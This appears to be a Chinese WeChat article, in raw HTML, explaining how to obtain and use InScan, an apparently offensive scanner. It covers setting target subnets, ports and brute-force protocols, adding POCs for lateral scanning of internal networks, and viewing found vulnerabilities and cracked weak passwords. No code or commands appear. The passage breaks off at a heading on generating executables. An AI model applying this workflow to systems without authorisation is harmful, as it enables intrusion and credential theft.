<img src="https://wechat2rss.xlab.app/img-proxy/?k=9e13ee53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHicAesDYNZGXsBCtymkh3fQ51j9ayVgDx8bHGJDLbwhxYwKZ36gamNQ07XTHNWShwib7sb69BUuCygQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section hm_fix="350:722" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;">前言</span></strong></p></section></section></section><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/><em style="font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: justify;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">本工具只可用于安全性测试，勿用于非法用途！</em></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: justify;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></em></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.4921875" data-s="300,640" data-type="png" data-w="1280" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=5db62e89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDXkRczFoXjHfJMbdDHEuKs4oaVibNy3yh0jYTdaIpWCvBsDRw3sVKZNyg%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;text-align: start;background-color: rgb(255, 255, 255);">后台收到私信发现很多人都还不太会使用 InScan 这款工具，对于这款工具还有很多的疑问，本篇文章介绍一下 InScan 这款工具的使用方法。</span><br/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;text-align: start;background-color: rgb(255, 255, 255);"><br/></span></p><section data-tools="135编辑器" data-id="88109" style="white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section hm_fix="350:722" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;">如何获取 InScan 工具</span></strong></p></section></section></section><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;text-align: start;background-color: rgb(255, 255, 255);"></span><br/></p><section style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;text-align: start;background-color: rgb(255, 255, 255);">获取 InScan 有两种渠道：InBug实验室官网：<a href="https://www.inbug.org/ " target="_blank">https://www.inbug.org/ </a></span></section><section style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;text-align: start;background-color: rgb(255, 255, 255);">(自定义生成)</span></section><section style="text-align: center;line-height: 1.75em;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5859375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=634e2737&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH8ib4VnTga0K1QUDjVZJL0mIFiaef3Vu88vbx6ERqyic7IwFNpFpmwBToykHJgYuRBkWsZ4klJV9ib6aQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;">第二种就是去</span><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;">Gi</span><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;">thub下载：</span><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;"><a href="https://github.com/inbug-team/InScan/releases" target="_blank">https://github.com/inbug-team/InScan/releases</a></span><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;text-align: start;background-color: rgb(255, 255, 255);"></span></section><section style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;">（获取本地网卡扫描,无法自定义）<br/></span></section><section style="text-align: center;line-height: 1.75em;"><img class="rich_pages" data-galleryid="" data-ratio="0.5449672424061942" data-s="300,640" style="" data-type="png" data-w="3358" src="https://wechat2rss.xlab.app/img-proxy/?k=178900ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH8ib4VnTga0K1QUDjVZJL0mIZ4BSVEMLI4FaxNiaPnTsbDuOlOTrr5f9iaZzpuPON4uibIv6jKkmwaJUQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;">大家根据自己电脑系统选择相应的文件。</span></section><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;"><br/></span></p><section data-tools="135编辑器" data-id="88109" style="white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section hm_fix="350:722" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;"> InScan 工具的使用教程</span></strong></p></section></section></section><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;"></span></p><section style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;">首先去</span><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;">InBug实验室</span><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;">官网</span><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;">注册一个账号：</span></section><section style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;"></span><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;"><a href="https://www.inbug.org/register" target="_blank">https://www.inbug.org/register</a></span><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;"></span></section><section style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;">之后登陆到个人中心生成一个 InScan Agent 任务，根据大家的需求设置目标网段、扫描端口、爆破的协议、以及线程大小：</span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3536214242239805" data-s="300,640" style="" data-type="png" data-w="3286" src="https://wechat2rss.xlab.app/img-proxy/?k=1b02459a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicAesDYNZGXsBCtymkh3fQ5UudXMickBZjxdE2e5tCeW6AcFyVggjwykQ0fKc3SxEDSEeoZu7skaAw%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;line-height: 1.75em;">如果需要自定义爆破字典的话，就勾选“弱口令生成器”：<br/></section><p><span style="display: none;line-height: 0px;">‍</span></p><section style="text-align: center;line-height: 1.75em;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4390625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=bba63474&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicAesDYNZGXsBCtymkh3fQ5eJJ781nEO88eHGapZTs16gicPQNDyGOhAtyawibO0HbLJofBgIJR4a4g%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: left;line-height: 1.75em;">最后添加已有的 POC 就可以横向扫描了：<br/></section><section style="text-align: center;line-height: 1.75em;"><img class="rich_pages" data-galleryid="" data-ratio="0.40806561859193435" data-s="300,640" style="" data-type="png" data-w="2926" src="https://wechat2rss.xlab.app/img-proxy/?k=a01b77be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicAesDYNZGXsBCtymkh3fQ5EtgIoqVJ3dYZ9RDDhQl2ic3QXEBSjRDheS5QtSYt0ibLicVEGA2kMS2Ew%2F640%3Fwx_fmt%3Dpng"/><br/></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.8777292576419214" data-s="300,640" style="" data-type="png" data-w="1374" src="https://wechat2rss.xlab.app/img-proxy/?k=ec928f01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicAesDYNZGXsBCtymkh3fQ5drR1CgBSrjMs1gVn62UFnZj0gP0D84b3PE7rEqbcBlUQYbeB6lnoibA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;line-height: 1.75em;">程序启动后，访问本地</section><section style="text-align: left;line-height: 1.75em;"><span style="text-align: left;"><a href="http://127.0.0.1:8080/ " target="_blank">http://127.0.0.1:8080/ </a>  </span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;">即可看到扫描结果：</span></section><section style="text-align: left;line-height: 1.75em;">如果渗透的是内网环境，自行转发端口到互联网查看结果，同时也可把db文件复制到本地进行扫描结果的查看。</section><section style="text-align: left;line-height: 1.75em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5253126861226921" data-s="300,640" style="" data-type="png" data-w="3358" src="https://wechat2rss.xlab.app/img-proxy/?k=5583536f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicAesDYNZGXsBCtymkh3fQ5dyvmN7rOw3XBWepcWdFoYicGtxJu0kwT8hx1PeTKNqAS9jwnGKMvo8w%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;line-height: 1.75em;">如本地安装有Chrome，扫描到WEB服务自动会截图返回到后台：<br/></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3218707015130674" data-s="300,640" style="" data-type="png" data-w="2908" src="https://wechat2rss.xlab.app/img-proxy/?k=e12dc37a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicAesDYNZGXsBCtymkh3fQ5YibibTIhibY8Jia5glg8icNDibbUpjS8nib3gnAr53UWQVBuNzWoayKqwUCEQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;line-height: 1.75em;">内网资产：<br/></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.37318590186592954" data-s="300,640" style="" data-type="png" data-w="2894" src="https://wechat2rss.xlab.app/img-proxy/?k=75f4bdff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicAesDYNZGXsBCtymkh3fQ5IAwxMs4WtWUEhpAic5OYtM3pUbqLNpt8ZHdCB9g3xUPClGzn0UTX7VA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;line-height: 1.75em;">InScan 还会自动识别目标主机网卡信息：<br/></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.2767094017094017" data-s="300,640" style="" data-type="png" data-w="1872" src="https://wechat2rss.xlab.app/img-proxy/?k=578b5ea6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicAesDYNZGXsBCtymkh3fQ5hE0j5wAYS5Q4ciaNC039umVO6lQSBSxcQEeLqlVVARjfJqLRZibZSRCA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;line-height: 1.75em;">高危系统漏洞：<br/></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1689847009735744" data-s="300,640" style="" data-type="png" data-w="2876" src="https://wechat2rss.xlab.app/img-proxy/?k=4b57de90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicAesDYNZGXsBCtymkh3fQ5ibz572Q4YqtRYFiahQIOmrice2j4QL2SMBRic8glnJGCCkslGNicpabVDnA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;line-height: 1.75em;">高危 Web 漏洞：<br/></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.28561501042390547" data-s="300,640" style="" data-type="png" data-w="2878" src="https://wechat2rss.xlab.app/img-proxy/?k=5b9bb37f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicAesDYNZGXsBCtymkh3fQ5icWSUkD0NefmjpqVcoo0bUYBwpIjO0j2s6ucVoHGpMRaS4ricIyqRRfg%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;line-height: 1.75em;">弱口令爆破成功的结果：<br/></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.19678995115143055" data-s="300,640" style="" data-type="png" data-w="2866" src="https://wechat2rss.xlab.app/img-proxy/?k=ab6f0b34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicAesDYNZGXsBCtymkh3fQ522cY4Cib1G1YuibgDic95dlA2WD9W0rIFfAD3SRdfGtlIpyjCLdRlCOoQ%2F640%3Fwx_fmt%3Dpng"/></p><section data-tools="135编辑器" data-id="88109" style="white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section hm_fix="350:722" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;"> InScan 工具的使用视频</span></strong></p></section></section></section><h2 style="margin-top: 24px;margin-bottom: 16px;padding-bottom: 0.3em;font-weight: 600;font-size: 1.5em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;border-bottom: 1px solid var(--color-border-secondary);color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: center;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">生成可执行程序</h2><p><video controls="" 